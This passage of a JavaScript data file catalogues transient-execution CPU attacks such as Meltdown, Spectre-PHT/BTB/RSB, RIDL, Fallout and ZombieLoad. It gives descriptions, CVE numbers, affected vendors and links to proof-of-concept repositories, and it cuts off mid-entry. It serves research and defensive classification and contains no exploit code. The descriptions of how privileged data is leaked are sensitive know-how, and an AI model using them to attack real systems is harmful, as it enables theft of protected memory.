\"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        color: color.works\n    },\n    {\n        id: 68,\n        title: \"Meltdown-AC-LP\",\n        alias: \"RIDL\",\n        img: \"mds.svg\",\n        father: 9,\n        description: \"The RIDL addendum explained that misaligned loads due to the AC flag may leak data from load ports. Interestingly, in contrast to the main RIDL variant Meltdown-P-LFB exploiting page faults, Meltdown-AC-LP may work even on processors enumerating RDCL_NO silicon mitigations.\",\n        sources: [\n            sources[\"RIDLAddendum1\"],\n            sources[\"VanSchaik2019\"],\n            sources[\"Falk2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Rogue In-flight Data Load (RIDL) Addendum\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Load Port Data Sampling (MLPDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12127\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12127\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/vusec/ridl\",\n            url: \"https://github.com/vusec/ridl\",\n        }],\n        color: color.works\n    },\n    {\n        id: 10,\n        title: \"Meltdown-DE\",\n        father: 3,\n        description: \"On the ARM microarchitectures we tested, division by zero produces no exception, merely yielding zero. As there is no fault, we do not count this as a Meltdown variant on ARM. On x86, the division raises a divide-by-zero exception (#DE). On both the AMD and Intel microarchitectures we tested, the CPU continues with transient execution after the exception, using zero as the result of the division. Thus the division itself does not leak a value (for example the numerator) but subsequent transient execution can still be used to leak values.\", \n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/DE\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 11,\n        title: \"Meltdown-PF\",\n        img: \"pte.svg\",\n        father: 3,\n        description: \"The category of Meltdown attacks caused by a page fault. As there are many possibilities for a page fault, the attacks are further classified by the bit in the page-table entry causing the page fault.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        color: color.group\n    },\n    {\n        id: 12,\n        title: \"Meltdown-UD\",\n        father: 3,\n        description: \"For our original paper we did not succeed in transiently executing instructions following an invalid opcode. Google's Safeside project subsequently achieved this on ARM, and we have updated our PoC accordingly. We suspect that on Intel and AMD CPUs exceptions during instruction fetch or decode are immediately handled by the CPU, without first buffering the offending instruction in the ROB. Hence, invalid opcodes would only leak if the microarchitectural effect is an effect caused by the invalid opcode itself, rather than by subsequent transient instructions.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/UD\"\n        },\n        {\n            title: \"https://github.com/google/safeside\",\n            url: \"https://github.com/google/safeside/blob/master/demos/meltdown_ud.cc\"\n        }],\n        affects: [{\n            title: \"ARM\",\n        }],\n        color: color.works\n    },\n    {\n        id: 13,\n        title: \"Meltdown-SS\",\n        father: 3,\n        description: \"We reliably found in our experiments on Intel CPUs that we cannot transiently leak the results of out-of-limit segment accesses. We suspect that, due to the simplistic IA32 segmentation design, segment limits are validated early-on, and immediately raise a #GP or #SS (stack-segment fault) exception, without sending the offending instruction to the ROB. However, we have successfully reproduced Meltdown-SS on some AMD microarchitectures, which is consistent with AMD's documentation that #SS does not suppress speculation.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/SS\"\n        }],\n        affects: [\n            {\n                title: \"AMD\",\n                url: \"https://www.amd.com/system/files/documents/security-whitepaper.pdf\"\n            }\n        ],\n        color: color.works\n    },\n    {\n        id: 14,\n        title: \"Meltdown-BR\",\n        father: 3,\n        description: \"A Meltdown-BR attack exploits transient execution following a #BR exception to encode out-of-bounds secrets that are never architecturally visible. As such, Meltdown-BR is an exception-driven alternative for Spectre-PHT. Using such an attack, an attcker can leak data safeguarded by either an IA32 bound instruction (Intel, AMD), or state-of-the-art MPX protection (Intel-only). This is the first experiment demonstrating a Meltdown-type transient execution attack exploiting delayed exception handling on AMD CPUs.\",\n        sources: [\n            sources[\"Intel2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/BR\"\n        }],\n        color: color.group\n    },\n    {\n        id: 15,\n        title: \"Meltdown-GP\",\n        father: 3,\n        description: \"Similar to page faults, x86 general protection faults (#GP) have been abused in multiple Meltdown-type attacks. We hence categorize further based on #GP cause and targeted microarchitectural buffer.\",\n        todo: \"While we have done our best to explore all potentially exploitable causes for #GP exceptions in the x86 architecture, we encourage future research to further investigate potential Meltdown-GP variants.\",\n        sources: [\n            sources[\"Canella2018\"],\n            sources[\"ARM2018\"],\n            sources[\"Intel2018\"],\n            sources[\"Canella2019\"]\n        ],\n        color: color.group\n    },\n    {\n        id: 16,\n        title: \"Meltdown-US\",\n        img: \"pte-us.svg\",\n        father: 11,\n        description: \"Modern CPUs commonly feature a “user/supervisor” (U/S) pagetable attribute to denote a virtual memory page as belonging to the OS kernel. Page faults raised by the U/S attribute can be abused to read cached kernel secrets, as well as to extract data from other microarchitectural buffers. We therefore categorize Meltdown-US further by the leakage source.\",\n        sources: [\n            sources[\"Lipp2018\"],\n            sources[\"Schwarz2019\"],\n            sources[\"Canella2019\"],\n            sources[\"Canella2018\"]\n        ],\n        color: color.group\n    },\n    {\n        id: 17,\n        title: \"Meltdown-P\",\n        img: \"pte-p.svg\",\n        father: 11,\n        description: \"Meltdown-P exploits transient execution following a page fault when accessing unmapped pages (present bit clear). As with the U/S attribute, page faults caused by the present bit have been abused to extract data from a variety of buffers. We therefore categorize Meltdown-P further by the leakage source.\",\n        sources: [\n            sources[\"VanBulck2018\"],\n            sources[\"VanSchaik2019\"],\n            sources[\"Canella2019\"],\n            sources[\"Canella2018\"]\n        ],\n        color: color.group\n    },\n    {\n        id: 18,\n        title: \"Meltdown-RW\",\n        img: \"pte-rw.svg\",\n        alias: \"v1.2\",\n        father: 11,\n        description: \"Kiriansky and Waldspurger presented the first Meltdown-type attack that bypasses page-table based access rights within the current privilege level. Specifically, they showed that transient execution does not respect the “read/write” page-table attribute. The ability to transiently overwrite read-only data within the current privilege level can bypass software-based sandboxes which rely on hardware enforcement of read-only memory.\",\n        sources: [\n            sources[\"Kiriansky2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/RW\"\n        }],\n        names: [\n            {\n                title: \"Variant 1.2\",\n                url: \"https://arxiv.org/pdf/1807.03757.pdf\"\n            },\n\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://www.intel.com/content/www/us/en/support/articles/000029382/processors.html\"\n            },\n            {\n                title: \"ARM\",\n            }\n        ],\n        color: color.works\n    },\n    {\n        id: 19,\n        title: \"Meltdown-PK\",\n        img: \"pte-pk.svg\",\n        father: 11,\n        description: \"Intel Skylake-SP server CPUs support memory-protection keys for user space (PKU). This feature allows processes to change the access permissions of a page directly from user space, i.e., without requiring a syscall/hypercall. Thus, with PKU, user-space applications can implement efficient hardware-enforced isolation of trusted parts. A Meltdown-PK attack bypasses both the read and write isolation provided by the PKU. Meltdown-PK works if an attacker has code execution in the containing process, even if the attacker cannot execute the <code>wrpkru</code> instruction (e.g., blacklisting).\",\n        todo: \"We encourage exploring the possibility of using Meltdown-PK to leak data from other buffers apart from the L1 cache and store buffer.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings\",\n            },\n        ],\n        color: color.group\n    },\n    {\n        id: 70,\n        title: \"Meltdown-PK-L1\",\n        father: 19,\n        description: \"As part of our systematic analysis, we presented a novel Meltdown-PK-L1 variant which bypasses both the read and write isolation provided by PKU to leak unauthorized data from the L1 cache.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/PK\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings\",\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 71,\n        title: \"Meltdown-PK-SB\",\n        alias: \"Fallout\",\n        img: \"mds.svg\",\n        father: 19,\n        description: \"The Fallout paper includes an experiment to leak data from the store buffer using a faulting load from a page marked as unreadable with PKU.\",\n        sources: [\n            sources[\"Canella2019\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings\",\n            },\n        ],\n        names: [\n            {\n                title: \"Fallout\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Store Buffer Data Sampling (MSBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12126\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12126\"\n        }],\n        color: color.works\n    },\n    {\n        id: 20,\n        title: \"Meltdown-XD\",\n        img: \"pte-x.svg\",\n        father: 11,\n        description: \"On our test systems, we did not succeed in transiently executing instructions residing in non-executable memory.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        color: color.fails\n    },\n    {\n        id: 21,\n        title: \"Meltdown-SM-SB\",\n        alias: \"Fallout\",\n        img: \"mds.svg\",\n        father: 11,\n        description: \"Although supervisor mode access prevention (SMAP) raises a page fault (#PF) when accessing user-space memory from the kernel, it seems to be free of any Meltdown effect in our experiments. Thus, we were not able to leak user data from kernel space using Meltdown-SM in our experiments.<p/>However, the Fallout paper includes an experiment to leak store buffer data using SMAP exceptions from kernel space.\",\n        sources: [\n            sources[\"Canella2018\"],\n            sources[\"Canella2019\"]\n        ],\n        names: [\n            {\n                title: \"Fallout\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Store Buffer Data Sampling (MSBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        cve: [{\n            title: \"CVE-2018-12126\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12126\"\n        }],\n        affects: [\n            {\n                title: \"Intel\"\n            }\n        ],\n        color: color.works\n    },\n    {\n        id: 22,\n        title: \"Meltdown-MPX\",\n        father: 14,\n        description: \"An attacker can leak data safeguarded by state-of-the-art MPX protection (Intel-only).\",\n        sources: [\n            sources[\"Intel2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/BR\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings\",\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 23,\n        title: \"Meltdown-BND\",\n        father: 14,\n        description: \"An attcker can leak data safeguarded by an IA32 bound instruction (Intel, AMD). This is the first experiment demonstrating a Meltdown-type transient execution attack exploiting delayed exception handling on AMD CPUs.\",\n        sources: [\n            sources[\"Intel2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/BR\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/insights/more-information-transient-execution-findings\",\n            },\n            {\n                title: \"AMD\"\n            }\n        ],\n        color: color.works\n    },\n    {\n        id: 24,\n        title: \"Cross-address-space\",\n        text_top: \"mistraining strategy\",\n        description: \"In a cross-address-space scenario, an attacker has two options. In the first, an attacker can mirror the virtual address space layout of the victim on a hyperthread (same physical core) and mistrain at the exact same virtual address as the victim branch. We refer to this as cross-address-space in-place (CA-IP). In the second, the attacker mistrains the PHT on a congruent virtual address in a different address space. We refer to this as cross-address-space out-of-place (CA-OP). Cross-address-space attacks are possible because the PHT is shared between hyperthreads on the same logical core.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT\"\n        }],\n        father: 4,\n        color: color.group\n    },\n    {\n        id: 25,\n        title: \"Same-address-space\",\n        father: 4,\n        description: \"In a same-address-space scenario, an attacker has two options. The first option is to mistrain the exact location that is later on attacked. We refer to this as same-address-space in-place (SA-IP), In the second scenario, a congruent address is used for the mistraining. This is possible because only a subset of the virtual address is used for indexing the PHT. We refer to this as same-address-space out-of-place (SA-OP).\",\n        sources: [\n            sources[\"Kocher2019\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT\"\n        }],\n        color: color.group\n    },\n    {\n        id: 26,\n        title: \"Cross-address-space\",\n        father: 5,\n        description: \"In a cross-address-space scenario, an attacker has two options. In the first, an attacker can mirror the virtual address space layout of the victim on a hyperthread (same physical core) and mistrain at the exact same virtual address as the victim branch. We refer to this as cross-address-space in-place (CA-IP). In the second, the attacker mistrains the BTB on a congruent virtual address in a different address space. We refer to this as cross-address-space out-of-place (CA-OP). Cross-address-space attacks are possible because the BTB is shared between hyperthreads on the same logical core.\",\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB\"\n        }],\n        color: color.group\n    },\n    {\n        id: 27,\n        title: \"Same-address-space\",\n        father: 5,\n        description: \"In a same-address-space scenario, an attacker has two options. The first option is to mistrain the exact location that is later on attacked. We refer to this as same-address-space in-place (SA-IP), In the second scenario, a congruent address is used for the mistraining. This is possible because only a subset of the virtual address is used for indexing the BTB. We refer to this as same-address-space out-of-place (SA-OP).\",\n        sources: [\n            sources[\"Kocher2019\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB\"\n        }],\n        color: color.group\n    },\n    {\n        id: 28,\n        title: \"Cross-address-space\",\n        father: 6,\n        description: \"In a cross-address-space RSB attack, an attacker cannot simply run on a hyperthread to influence the RSB. This is because the RSB is not shared between hyperthreads. Therefore, an attacker has to interleave the execution of their program with the victim's program to poison the RSB. This is possible in both in-place and out-of-place scenarios.\",\n        sources: [\n            sources[\"Maisuradze2018\"],\n            sources[\"Koruyeh2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB\"\n        }],\n        color: color.group\n    },\n    {\n        id: 29,\n        title: \"Same-address-space\",\n        father: 6,\n        description: \"In a same-address-space RSB attack, an attacker can explicitly overwrite the return address on the software stack or transiently execute <code>call</code> instructions. Another cause for misspeculation is deeply nested function calls. This is due to the limited size of the RSB. One natural occurrence of RSB misspeculation is when restoring the kernel/enclave/user stack pointer upon switching protection domains. In all those cases, the execution might be diverted to a special code gadget that leaks data.\",\n        sources: [\n            sources[\"Maisuradze2018\"],\n            sources[\"Koruyeh2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB\"\n        }],\n        color: color.group\n    },\n    {\n        id: 30,\n        title: \"PHT-CA-IP\",\n        img: \"spectre.svg\",\n        text_top: \"in-place (IP) vs. out-of-place (OP)\",\n        father: 24,\n        description: \"The cross-address-space, in-place variant of Spectre-PHT.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/ca_ip\"\n        }],\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            }\n        ],\n        cve: [{\n            title: \"CVE-2017-5753\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5753\"\n        }],\n        color: color.works\n    },\n    {\n        id: 31,\n        title: \"PHT-CA-OP\",\n        img: \"spectre.svg\",\n        father: 24,\n        description: \"The cross-address-space, out-of-place variant of Spectre-PHT.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/ca_oop\"\n        }],\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            }\n        ],\n        cve: [{\n            title: \"CVE-2017-5753\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5753\"\n        }],\n        color: color.works\n    },\n    {\n        id: 32,\n        title: \"PHT-SA-IP\",\n        alias: \"Spectre v1\",\n        img: \"spectre.svg\",\n        father: 25,\n        description: \"The same-address-space, in-place variant of Spectre-PHT. This was one of the first discovered variants. It is the best-known variant of Spectre-PHT.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/sa_ip\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            }\n        ],\n        sources: [\n            sources[\"Kocher2019\"],\n            sources[\"Kiriansky2018\"],\n            sources[\"Canella2018\"]\n        ],\n        cve: [{\n            title: \"CVE-2017-5753\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5753\"\n        }],\n        color: color.works\n    },\n    {\n        id: 33,\n        title: \"PHT-SA-OP\",\n        img: \"spectre.svg\",\n        father: 25,\n        description: \"The same-address-space, out-of-place variant of Spectre-PHT.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/PHT/sa_oop\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            }\n        ],\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        cve: [{\n            title: \"CVE-2017-5753\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5753\"\n        }],\n        color: color.works\n    },\n    {\n        id: 34,\n        title: \"BTB-CA-IP\",\n        alias: \"Spectre v2\",\n        img: \"spectre.svg\",\n        father: 26,\n        description: \"The cross-address-space, in-place variant of Spectre-BTB. This was one of the first discovered variants.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/ca_ip\"\n        }],\n        sources: [\n            sources[\"Kocher2019\"],\n            sources[\"Chen2019\"],\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            }\n        ],\n        cve: [{\n            title: \"CVE-2017-5715\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5715\"\n        }],\n        color: color.works\n    },\n    {\n        id: 35,\n        title: \"BTB-CA-OP\",\n        alias: \"Spectre v2\",\n        img: \"spectre.svg\",\n        father: 26,\n        description: \"The cross-address-space, out-of-place variant of Spectre-BTB. This was one of the first discovered variants.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/ca_oop\"\n        }],\n        sources: [\n            sources[\"Kocher2019\"],\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n        ],\n        cve: [{\n            title: \"CVE-2017-5715\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5715\"\n        }],\n        color: color.works\n    },\n    {\n        id: 36,\n        title: \"BTB-SA-IP\",\n        img: \"spectre.svg\",\n        father: 27,\n        description: \"The same-address-space, in-place variant of Spectre-BTB.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/sa_ip\"\n        }],\n        sources: [\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            }\n        ],\n        cve: [{\n            title: \"CVE-2017-5715\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5715\"\n        }],\n        color: color.works\n    },\n    {\n        id: 37,\n        title: \"BTB-SA-OP\",\n        alias: \"Spectre v2\",\n        img: \"spectre.svg\",\n        father: 27,\n        description: \"The same-address-space, out-of-place variant of Spectre-BTB.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/BTB/sa_oop\"\n        }],\n        sources: [\n            sources[\"Chen2019\"],\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n        ],\n        cve: [{\n            title: \"CVE-2017-5715\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5715\"\n        }],\n        color: color.works\n    },\n    {\n        id: 38,\n        title: \"RSB-CA-IP\",\n        alias: \"ret2spec\",\n        img: \"spectre.svg\",\n        father: 28,\n        description: \"The cross-address-space, in-place variant of Spectre-RSB.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/ca_ip\"\n        }],\n        sources: [\n            sources[\"Koruyeh2018\"],\n            sources[\"Maisuradze2018\"],\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 39,\n        title: \"RSB-CA-OP\",\n        img: \"spectre.svg\",\n        father: 28,\n        description: \"The cross-address-space, out-of-place variant of Spectre-RSB.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/ca_oop\"\n        }],\n        sources: [\n            sources[\"Koruyeh2018\"],\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 40,\n        title: \"RSB-SA-IP\",\n        alias: \"ret2spec\",\n        img: \"spectre.svg\",\n        father: 29,\n        description: \"The same-address-space, in-place variant of Spectre-RSB.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/sa_ip\"\n        }],\n        sources: [\n            sources[\"Maisuradze2018\"],\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 41,\n        title: \"RSB-SA-OP\",\n        alias: \"ret2spec\",\n        img: \"spectre.svg\",\n        father: 29,\n        description: \"The same-address-space, out-of-place variant of Spectre-RSB.\",\n        poc: [{\n            title: \"https://github.com/IAIK/transientfail\",\n            url: \"https://github.com/IAIK/transientfail/tree/master/pocs/spectre/RSB/sa_oop\"\n        }],\n        sources: [\n            sources[\"Koruyeh2018\"],\n            sources[\"Maisuradze2018\"],\n            sources[\"Canella2018\"]\n        ],\n        affects: [\n            {\n                title: \"Intel\",\n            },\n            {\n                title: \"AMD\",\n            },\n            {\n                title: \"ARM\",\n            },        ],\n        color: color.works\n    },\n    {\n        id: 42,\n        title: \"Meltdown-US-L1\",\n        alias: \"Meltdown\",\n        img: \"meltdown.svg\",\n        father: 16,\n        description: \"The original Meltdown attack reads cached kernel memory from user space on CPUs that do not transiently enforce the user/supervisor flag. In the trigger phase an unauthorized kernel address is dereferenced, which eventually causes a page fault. Before the fault becomes architecturally visible, however, the attacker executes a transient instruction sequence that for instance accesses a cache line based on the privileged data read by the trigger instruction. In the final phase, after the exception has been raised, the privileged data is reconstructed at the receiving end of the covert channel (e.g., Flush+Reload).\",\n        sources: [\n            sources[\"Lipp2018\"],\n            sources[\"Canella2018\"]\n        ],\n        poc: [{\n                title: \"https://github.com/IAIK/meltdown\",\n                url: \"https://github.com/IAIK/meltdown\"\n            },\n            {\n                title: \"https://github.com/IAIK/transientfail\",\n                url: \"https://github.com/IAIK/transientfail/tree/master/pocs/meltdown/US\"\n            },\n            {\n                title: \"https://github.com/google/safeside\",\n                url: \"https://github.com/google/safeside/tree/master/demos\"\n            }\n        ],\n        names: [\n            {\n                title: \"Meltdown\",\n                url: \"https://meltdownattack.com/\"\n            },\n            {\n                title: \"Rogue Data Cache Load (RDCL)\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/rogue-data-cache-load\"\n            },\n            {\n                title: \"Variant 3\",\n            },\n        ],\n        cve: [{\n            title: \"CVE-2017-5754\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2017-5754\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/rogue-data-cache-load\"\n            },\n            {\n                title: \"ARM\",\n                url: \"https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability\"\n            },\n            {\n                title: \"IBM\",\n                url: \"https://www.ibm.com/blogs/psirt/potential-impact-processors-power-family/\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 43,\n        title: \"Meltdown-US-LFB\",\n        alias: \"ZombieLoad v1\",\n        img: \"zombieload.svg\",\n        father: 16,\n        description: \"ZombieLoad uses various architectural and microarchitectural faults to leak data from the fill buffers. In contrast to Meltdown-US-L1, only the least-significant 6 bits of the virtual address can be used to address the data, thus giving less control over which data is leaked. However, this allows ZombieLoad to cross all privilege boundaries (user-to-user, kernel, Intel SGX, VM-to-VM, VM-to-hypervisor).\",\n        sources: [\n            sources[\"Schwarz2019\"],\n            sources[\"VanSchaik2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"ZombieLoad\",\n                url: \"https://zombieloadattack.com/\"\n            },\n            {\n                title: \"Microarchitectural Fill Buffer Data Sampling (MFBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ],\n        poc: [{\n            title: \"https://github.com/IAIK/ZombieLoad\",\n            url: \"https://github.com/IAIK/ZombieLoad/tree/master/attacker/variant1_linux\"\n        }],\n        cve: [{\n            title: \"CVE-2018-12130\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12130\"\n        }],\n        affects: [\n            {\n                title: \"Intel\",\n                url: \"https://software.intel.com/security-software-guidance/software-guidance/microarchitectural-data-sampling\"\n            },\n        ],\n        color: color.works\n    },\n    {\n        id: 44,\n        title: \"Meltdown-US-SB\",\n        alias: \"Fallout\",\n        img: \"mds.svg\",\n        father: 16,\n        description: \"Fallout exploits the fact that faulting loads can pick up previously stored values from the store buffer if the least-significant 12 bits of the virtual address match.\",\n        sources: [\n            sources[\"Canella2019\"],\n            sources[\"IntelMDS\"],\n        ],\n        names: [\n            {\n                title: \"Fallout\",\n                url: \"https://mdsattacks.com/\"\n            },\n            {\n                title: \"Microarchitectural Store Buffer Data Sampling (MSBDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n            {\n                title: \"Microarchitectural Data Sampling (MDS)\",\n                url: \"https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling\"\n            },\n        ], \n        cve: [{\n            title: \"CVE-2018-12126\",\n            url: \"https://nvd.nist.gov/vuln/detail/CVE-2018-12126\"\n        }],\n        affects: [\n            {\n                title: 